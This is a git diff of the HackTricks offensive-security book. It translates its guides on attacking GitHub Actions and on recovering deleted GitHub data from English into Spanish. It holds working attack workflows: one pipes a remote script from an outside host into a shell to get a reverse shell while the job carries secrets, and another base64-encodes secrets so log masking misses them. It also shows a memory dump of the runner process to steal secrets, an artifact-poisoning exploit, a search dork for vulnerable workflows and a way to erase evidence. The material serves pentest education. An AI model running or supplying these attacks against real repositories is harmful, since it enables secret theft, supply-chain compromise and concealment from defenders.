> [!NOTE] -> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**. +> Dado que la **limitación predeterminada** es para **contribuyentes primerizos**, podrías contribuir **corrigiendo un error/tipografía válido** y luego enviar **otras PRs para abusar de tus nuevos privilegios de `pull_request`**. > -> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~ +> **Probé esto y no funciona**: ~~Otra opción sería crear una cuenta con el nombre de alguien que contribuyó al proyecto y eliminó su cuenta.~~ -Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): +Además, por defecto **previene permisos de escritura** y **acceso a secretos** en el repositorio objetivo como se menciona en la [**documentación**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): -> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. +> Con la excepción de `GITHUB_TOKEN`, **los secretos no se pasan al runner** cuando un flujo de trabajo es desencadenado desde un repositorio **forked**. El **`GITHUB_TOKEN` tiene permisos de solo lectura** en solicitudes de extracción **de repositorios forked**. -An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations. +Un atacante podría modificar la definición de la Github Action para ejecutar cosas arbitrarias y agregar acciones arbitrarias. Sin embargo, no podrá robar secretos ni sobrescribir el repositorio debido a las limitaciones mencionadas. > [!CAUTION] -> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!** +> **Sí, si el atacante cambia en la PR la github action que será desencadenada, su Github Action será la que se use y no la del repositorio de origen!** -As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**. +Como el atacante también controla el código que se ejecuta, incluso si no hay secretos o permisos de escritura en el `GITHUB_TOKEN`, un atacante podría, por ejemplo, **subir artefactos maliciosos**. ### **`pull_request_target`** -The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission). +El desencadenador del flujo de trabajo **`pull_request_target`** tiene **permiso de escritura** en el repositorio objetivo y **acceso a secretos** (y no pide permiso). -Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ -Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). +Ten en cuenta que el desencadenador del flujo de trabajo **`pull_request_target`** **se ejecuta en el contexto base** y no en el proporcionado por la PR (para **no ejecutar código no confiable**). Para más información sobre `pull_request_target`, [**consulta la documentación**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ +Además, para más información sobre este uso específico y peligroso, consulta este [**post del blog de github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**. +Puede parecer que como el **flujo de trabajo ejecutado** es el definido en la **base** y **no en la PR**, es **seguro** usar **`pull_request_target`**, pero hay **algunos casos en los que no lo es**. -An this one will have **access to secrets**. +Y este tendrá **acceso a secretos**. ### `workflow_run` -The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`. - -In this example, a workflow is configured to run after the separate "Run Tests" workflow completes: +El desencadenador [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) permite ejecutar un flujo de trabajo desde otro cuando está `completado`, `solicitado` o `en_progreso`. +En este ejemplo, un flujo de trabajo está configurado para ejecutarse después de que se complete el flujo de trabajo separado "Ejecutar Pruebas": ```yaml on: - workflow_run: - workflows: [Run Tests] - types: - - completed +workflow_run: +workflows: [Run Tests] +types: +- completed ``` +Además, según la documentación: El flujo de trabajo iniciado por el evento `workflow_run` puede **acceder a secretos y escribir tokens, incluso si el flujo de trabajo anterior no lo fue**. -Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**. - -This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\ -The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**. +Este tipo de flujo de trabajo podría ser atacado si **depende** de un **flujo de trabajo** que puede ser **activado** por un usuario externo a través de **`pull_request`** o **`pull_request_target`**. Un par de ejemplos vulnerables se pueden [**encontrar en este blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** El primero consiste en que el flujo de trabajo activado por **`workflow_run`** descarga el código del atacante: `${{ github.event.pull_request.head.sha }}`\ +El segundo consiste en **pasar** un **artifact** del código **no confiable** al flujo de trabajo **`workflow_run`** y usar el contenido de este artifact de una manera que lo haga **vulnerable a RCE**. ### `workflow_call` TODO -TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR +TODO: Verificar si al ejecutarse desde un pull_request el código utilizado/descargado es el de la fuente o el del PR bifurcado -## Abusing Forked Execution +## Abusando de la Ejecución Bifurcada -We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused: +Hemos mencionado todas las formas en que un atacante externo podría lograr que un flujo de trabajo de github se ejecute, ahora echemos un vistazo a cómo estas ejecuciones, si están mal configuradas, podrían ser abusadas: -### Untrusted checkout execution +### Ejecución de checkout no confiable -In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request). +En el caso de **`pull_request`,** el flujo de trabajo se ejecutará en el **contexto del PR** (por lo que ejecutará el **código malicioso del PR**), pero alguien necesita **autorizarlo primero** y se ejecutará con algunas [limitaciones](./#pull_request). -In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**. +En el caso de un flujo de trabajo que utiliza **`pull_request_target` o `workflow_run`** que depende de un flujo de trabajo que puede ser activado desde **`pull_request_target` o `pull_request`**, se ejecutará el código del repositorio original, por lo que el **atacante no puede controlar el código ejecutado**. > [!CAUTION] -> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded): +> Sin embargo, si la **acción** tiene un **checkout de PR explícito** que **obtendrá el código del PR** (y no de la base), utilizará el código controlado por el atacante. Por ejemplo (ver línea 12 donde se descarga el código del PR): -
# INSECURE. Provided as an example only.
+
# INSEGURO. Proporcionado solo como un ejemplo.
 on:
-  pull_request_target
+pull_request_target
 
 jobs:
-  build:
-    name: Build and test
-    runs-on: ubuntu-latest
-    steps:
+build:
+name: Build and test
+runs-on: ubuntu-latest
+steps:
     - uses: actions/checkout@v2
       with:
         ref: ${{ github.event.pull_request.head.sha }}
 
-    - uses: actions/setup-node@v1
-    - run: |
-        npm install
-        npm build
+- uses: actions/setup-node@v1
+- run: |
+npm install
+npm build
 
-    - uses: completely/fakeaction@v2
-      with:
-        arg1: ${{ secrets.supersecret }}
+- uses: completely/fakeaction@v2
+with:
+arg1: ${{ secrets.supersecret }}
 
-    - uses: fakerepo/comment-on-pr@v1
-      with:
-        message: |
-          Thank you!
+- uses: fakerepo/comment-on-pr@v1
+with:
+message: |
+¡Gracias!
 
-The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**. +El código potencialmente **no confiable se está ejecutando durante `npm install` o `npm build`** ya que los scripts de construcción y los **paquetes referenciados son controlados por el autor del PR**. > [!WARNING] -> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR). +> Un dork de github para buscar acciones vulnerables es: `event.pull_request pull_request_target extension:yml` sin embargo, hay diferentes formas de configurar los trabajos para que se ejecuten de manera segura incluso si la acción está configurada de manera insegura (como usar condicionales sobre quién es el actor que genera el PR). -### Context Script Injections +### Inyecciones de Script en Contexto -Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:** +Tenga en cuenta que hay ciertos [**contextos de github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) cuyos valores son **controlados** por el **usuario** que crea el PR. Si la acción de github está utilizando esos **datos para ejecutar algo**, podría llevar a **ejecución de código arbitrario:** {{#ref}} gh-actions-context-script-injections.md {{#endref}} -### **GITHUB_ENV Script Injection** +### **Inyección de Script GITHUB_ENV** -From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file. +De la documentación: Puede hacer que una **variable de entorno esté disponible para cualquier paso posterior** en un trabajo de flujo de trabajo definiendo o actualizando la variable de entorno y escribiendo esto en el archivo de entorno **`GITHUB_ENV`**. -If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**. +Si un atacante pudiera **inyectar cualquier valor** dentro de esta variable **env**, podría inyectar variables de entorno que podrían ejecutar código en pasos posteriores como **LD_PRELOAD** o **NODE_OPTIONS**. -For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it: +Por ejemplo ([**esto**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) y [**esto**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagina un flujo de trabajo que confía en un artifact subido para almacenar su contenido dentro de la variable de entorno **`GITHUB_ENV`**. Un atacante podría subir algo como esto para comprometerlo:
-### Vulnerable Third Party Github Actions +### Acciones de Github de Terceros Vulnerables #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) -As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories. +Como se mencionó en [**esta publicación de blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), esta Acción de Github permite acceder a artifacts de diferentes flujos de trabajo e incluso repositorios. -The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact. - -Example of vulnerable workflow: +El problema es que si el parámetro **`path`** no está configurado, el artifact se extrae en el directorio actual y puede sobrescribir archivos que podrían ser utilizados o incluso ejecutados más tarde en el flujo de trabajo. Por lo tanto, si el Artifact es vulnerable, un atacante podría abusar de esto para comprometer otros flujos de trabajo que confían en el Artifact. +Ejemplo de flujo de trabajo vulnerable: ```yaml on: - workflow_run: - workflows: ["some workflow"] - types: - - completed +workflow_run: +workflows: ["some workflow"] +types: +- completed jobs: - success: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v2 - - name: download artifact - uses: dawidd6/action-download-artifact - with: - workflow: ${{ github.event.workflow_run.workflow_id }} - name: artifact - - run: python ./script.py - with: - name: artifact - path: ./script.py +success: +runs-on: ubuntu-latest +steps: +- uses: actions/checkout@v2 +- name: download artifact +uses: dawidd6/action-download-artifact +with: +workflow: ${{ github.event.workflow_run.workflow_id }} +name: artifact +- run: python ./script.py +with: +name: artifact +path: ./script.py ``` - -This could be attacked with this workflow: - +Esto podría ser atacado con este flujo de trabajo: ```yaml name: "some workflow" on: pull_request jobs: - upload: - runs-on: ubuntu-latest - steps: - - run: echo "print('exploited')" > ./script.py - - uses actions/upload-artifact@v2 - with: - name: artifact - path: ./script.py +upload: +runs-on: ubuntu-latest +steps: +- run: echo "print('exploited')" > ./script.py +- uses actions/upload-artifact@v2 +with: +name: artifact +path: ./script.py ``` - --- -## Other External Access +## Otro Acceso Externo -### Deleted Namespace Repo Hijacking +### Secuestro de Repositorio de Namespace Eliminado -If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted. +Si una cuenta cambia su nombre, otro usuario podría registrar una cuenta con ese nombre después de un tiempo. Si un repositorio tenía **menos de 100 estrellas antes del cambio de nombre**, Github permitirá que el nuevo usuario registrado con el mismo nombre cree un **repositorio con el mismo nombre** que el que fue eliminado. > [!CAUTION] -> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action. +> Así que si una acción está utilizando un repositorio de una cuenta que no existe, aún es posible que un atacante pueda crear esa cuenta y comprometer la acción. -If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +Si otros repositorios estaban utilizando **dependencias de estos repositorios de usuario**, un atacante podrá secuestrarlos. Aquí tienes una explicación más completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- -## Repo Pivoting +## Pivotar Repositorio > [!NOTE] -> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section). +> En esta sección hablaremos sobre técnicas que permitirían **pivotar de un repositorio a otro** suponiendo que tenemos algún tipo de acceso en el primero (ver la sección anterior). -### Cache Poisoning +### Envenenamiento de Caché -A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow. +Se mantiene una caché entre **ejecuciones de flujo de trabajo en la misma rama**. Lo que significa que si un atacante **compromete** un **paquete** que luego se almacena en la caché y es **descargado** y ejecutado por un flujo de trabajo **más privilegiado**, podrá **comprometer** también ese flujo de trabajo. {{#ref}} gh-actions-cache-poisoning.md {{#endref}} -### Artifact Poisoning +### Envenenamiento de Artefactos -Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**: +Los flujos de trabajo podrían usar **artefactos de otros flujos de trabajo e incluso repositorios**, si un atacante logra **comprometer** la Acción de Github que **sube un artefacto** que luego es utilizado por otro flujo de trabajo, podría **comprometer los otros flujos de trabajo**: {{#ref}} gh-actions-artifact-poisoning.md @@ -394,11 +376,11 @@ gh-actions-artifact-poisoning.md --- -## Post Exploitation from an Action +## Post Explotación desde una Acción -### Accessing AWS and GCP via OIDC +### Accediendo a AWS y GCP a través de OIDC -Check the following pages: +Consulta las siguientes páginas: {{#ref}} ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -408,170 +390,160 @@ Check the following pages: ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}} -### Accessing secrets +### Accediendo a secretos -If you are injecting content into a script it's interesting to know how you can access secrets: +Si estás inyectando contenido en un script, es interesante saber cómo puedes acceder a secretos: -- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**. +- Si el secreto o token está configurado como una **variable de entorno**, se puede acceder directamente a través del entorno usando **`printenv`**.
-List secrets in Github Action output - +Listar secretos en la salida de Github Action ```yaml name: list_env on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - '**' - push: # Run it when a push is made to a branch - branches: - - '**' +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- '**' +push: # Run it when a push is made to a branch +branches: +- '**' jobs: - List_env: - runs-on: ubuntu-latest - steps: - - name: List Env - # Need to base64 encode or github will change the secret value for "***" - run: sh -c 'env | grep "secret_" | base64 -w0' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +List_env: +runs-on: ubuntu-latest +steps: +- name: List Env +# Need to base64 encode or github will change the secret value for "***" +run: sh -c 'env | grep "secret_" | base64 -w0' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-Get reverse shell with secrets - +Obtener shell inverso con secretos ```yaml name: revshell on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - "**" - push: # Run it when a push is made to a branch - branches: - - "**" +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- "**" +push: # Run it when a push is made to a branch +branches: +- "**" jobs: - create_pull_request: - runs-on: ubuntu-latest - steps: - - name: Get Rev Shell - run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +create_pull_request: +runs-on: ubuntu-latest +steps: +- name: Get Rev Shell +run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible. - - ```bash - cat /home/runner/work/_temp/* - ``` -- For a JavaScript actions the secrets and sent through environment variables - - ```bash - ps axe | grep node - ``` -- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**: +- Si el secreto se utiliza **directamente en una expresión**, el script de shell generado se almacena **en disco** y es accesible. +- ```bash +cat /home/runner/work/_temp/* +``` +- Para las acciones de JavaScript, los secretos se envían a través de variables de entorno. +- ```bash +ps axe | grep node +``` +- Para una **acción personalizada**, el riesgo puede variar dependiendo de cómo un programa esté utilizando el secreto que obtuvo del **argumento**: - ```yaml - uses: fakeaction/publish@v3 - with: - key: ${{ secrets.PUBLISH_KEY }} - ``` +```yaml +uses: fakeaction/publish@v3 +with: +key: ${{ secrets.PUBLISH_KEY }} +``` -### Abusing Self-hosted runners +### Abusando de los runners autoalojados -The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml. +La forma de encontrar qué **Github Actions se están ejecutando en infraestructura no de github** es buscar **`runs-on: self-hosted`** en la configuración yaml de Github Action. -**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one. - -In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory: +Los runners **autoalojados** pueden tener acceso a **información extra sensible**, a otros **sistemas de red** (¿puntos finales vulnerables en la red? ¿servicio de metadatos?) o, incluso si está aislado y destruido, **más de una acción podría ejecutarse al mismo tiempo** y la maliciosa podría **robar los secretos** de la otra. +En los runners autoalojados también es posible obtener los **secretos del proceso \_Runner.Listener**\_\*\* que contendrá todos los secretos de los flujos de trabajo en cualquier paso al volcar su memoria: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` +Consulta [**esta publicación para más información**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). -Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). +### Registro de Imágenes Docker de Github -### Github Docker Images Registry - -It's possible to make Github actions that will **build and store a Docker image inside Github**.\ -An example can be find in the following expandable: +Es posible crear acciones de Github que **construyan y almacenen una imagen Docker dentro de Github**.\ +Un ejemplo se puede encontrar en el siguiente desplegable:
Github Action Build & Push Docker Image - ```yaml [...] - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v1 +uses: docker/setup-buildx-action@v1 - name: Login to GitHub Container Registry - uses: docker/login-action@v1 - with: - registry: ghcr.io - username: ${{ github.repository_owner }} - password: ${{ secrets.ACTIONS_TOKEN }} +uses: docker/login-action@v1 +with: +registry: ghcr.io +username: ${{ github.repository_owner }} +password: ${{ secrets.ACTIONS_TOKEN }} - name: Add Github Token to Dockerfile to be able to download code - run: | - sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile +run: | +sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile - name: Build and push - uses: docker/build-push-action@v2 - with: - context: . - push: true - tags: | - ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest - ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }} +uses: docker/build-push-action@v2 +with: +context: . +push: true +tags: | +ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest +ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }} [...] ``` -
-As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**. - -A user with read permissions over the repo will then be able to download the Docker Image using a personal access token: +Como puedes ver en el código anterior, el registro de Github está alojado en **`ghcr.io`**. +Un usuario con permisos de lectura sobre el repositorio podrá descargar la imagen de Docker utilizando un token de acceso personal: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: ``` - -Then, the user could search for **leaked secrets in the Docker image layers:** +Luego, el usuario podría buscar **secretos filtrados en las capas de la imagen de Docker:** {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics {{#endref}} -### Sensitive info in Github Actions logs +### Información sensible en los registros de Github Actions -Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). +Incluso si **Github** intenta **detectar valores secretos** en los registros de acciones y **evitar mostrarlos**, **otros datos sensibles** que podrían haberse generado en la ejecución de la acción no estarán ocultos. Por ejemplo, un JWT firmado con un valor secreto no estará oculto a menos que esté [específicamente configurado](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). -## Covering your Tracks +## Cubriendo tus Huellas -(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR) +(Técnica de [**aquí**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Primero que nada, cualquier PR levantada es claramente visible al público en Github y a la cuenta de GitHub objetivo. En GitHub, por defecto, **no podemos eliminar un PR de internet**, pero hay un giro. Para las cuentas de Github que están **suspendidas** por Github, todos sus **PRs son automáticamente eliminados** y retirados de internet. Así que, para ocultar tu actividad, necesitas o bien hacer que tu **cuenta de GitHub sea suspendida o que tu cuenta sea marcada**. Esto **ocultará todas tus actividades** en GitHub de internet (básicamente eliminará todos tus PR de explotación). -An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github. +Una organización en GitHub es muy proactiva en reportar cuentas a GitHub. Todo lo que necesitas hacer es compartir "algunas cosas" en un Issue y se asegurarán de que tu cuenta sea suspendida en 12 horas :p y ahí lo tienes, has hecho tu explotación invisible en github. > [!WARNING] -> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed. +> La única forma en que una organización puede darse cuenta de que ha sido objetivo es revisar los registros de GitHub desde SIEM, ya que desde la interfaz de GitHub el PR sería eliminado. -## Tools +## Herramientas -The following tools are useful to find Github Action workflows and even find vulnerable ones: +Las siguientes herramientas son útiles para encontrar flujos de trabajo de Github Action e incluso encontrar vulnerables: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) @@ -579,7 +551,3 @@ The following tools are useful to find Github Action workflows and even find vul - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md index ae156de2d..fa2cb5df7 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md @@ -1,6 +1 @@ -# Gh Actions - Artifact Poisoning - - - - - +# Gh Actions - Poisoning de Artefactos diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md index 024aa5ff8..f77c0d2d3 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md @@ -1,6 +1 @@ # GH Actions - Cache Poisoning - - - - - diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md index 3cd632bd0..67dd3069f 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md @@ -1,6 +1 @@ -# Gh Actions - Context Script Injections - - - - - +# Gh Actions - Inyecciones de Script en el Contexto diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md index f19fa699e..cd989ab6a 100644 --- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md +++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md @@ -1,60 +1,56 @@ -# Accessible Deleted Data in Github +# Datos Eliminados Accesibles en Github {{#include ../../banners/hacktricks-training.md}} -This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github). +Esta forma de acceder a datos de Github que supuestamente fueron eliminados fue [**reportada en esta publicación de blog**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github). -## Accessing Deleted Fork Data +## Accediendo a Datos de Forks Eliminados -1. You fork a public repository -2. You commit code to your fork -3. You delete your fork +1. Forkeas un repositorio público. +2. Haces un commit de código en tu fork. +3. Eliminas tu fork. > [!CAUTION] -> The data commited in the deleted fork is still accessible. +> Los datos comprometidos en el fork eliminado aún son accesibles. -## Accessing Deleted Repo Data +## Accediendo a Datos de Repositorios Eliminados -1. You have a public repo on GitHub. -2. A user forks your repo. -3. You commit data after they fork it (and they never sync their fork with your updates). -4. You delete the entire repo. +1. Tienes un repositorio público en GitHub. +2. Un usuario forkear tu repositorio. +3. Haces un commit de datos después de que ellos lo forkearon (y nunca sincronizan su fork con tus actualizaciones). +4. Eliminas todo el repositorio. > [!CAUTION] -> Even if you deleted your repo, all the changes made to it are still accessible through the forks. +> Incluso si eliminaste tu repositorio, todos los cambios realizados en él aún son accesibles a través de los forks. -## Accessing Private Repo Data +## Accediendo a Datos de Repositorios Privados -1. You create a private repo that will eventually be made public. -2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public. -3. You make your “upstream” repository public and keep your fork private. +1. Creas un repositorio privado que eventualmente será público. +2. Creas una versión privada e interna de ese repositorio (a través de forking) y haces commits de código adicional para características que no vas a hacer públicas. +3. Haces tu repositorio "upstream" público y mantienes tu fork privado. > [!CAUTION] -> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public. +> Es posible acceder a todos los datos enviados al fork interno en el tiempo entre la creación del fork interno y la publicación de la versión pública. -## How to discover commits from deleted/hidden forks +## Cómo descubrir commits de forks eliminados/ocultos -The same blog post propose 2 options: +La misma publicación de blog propone 2 opciones: -### Directly accessing the commit +### Accediendo directamente al commit -If the commit ID (sha-1) value is known it's possible to access it in `https://github.com///commit/` +Si se conoce el valor del ID del commit (sha-1), es posible acceder a él en `https://github.com///commit/` -### Brute-forcing short SHA-1 values +### Fuerza bruta de valores SHA-1 cortos -It's the same to access both of these: +Es lo mismo acceder a ambos: - 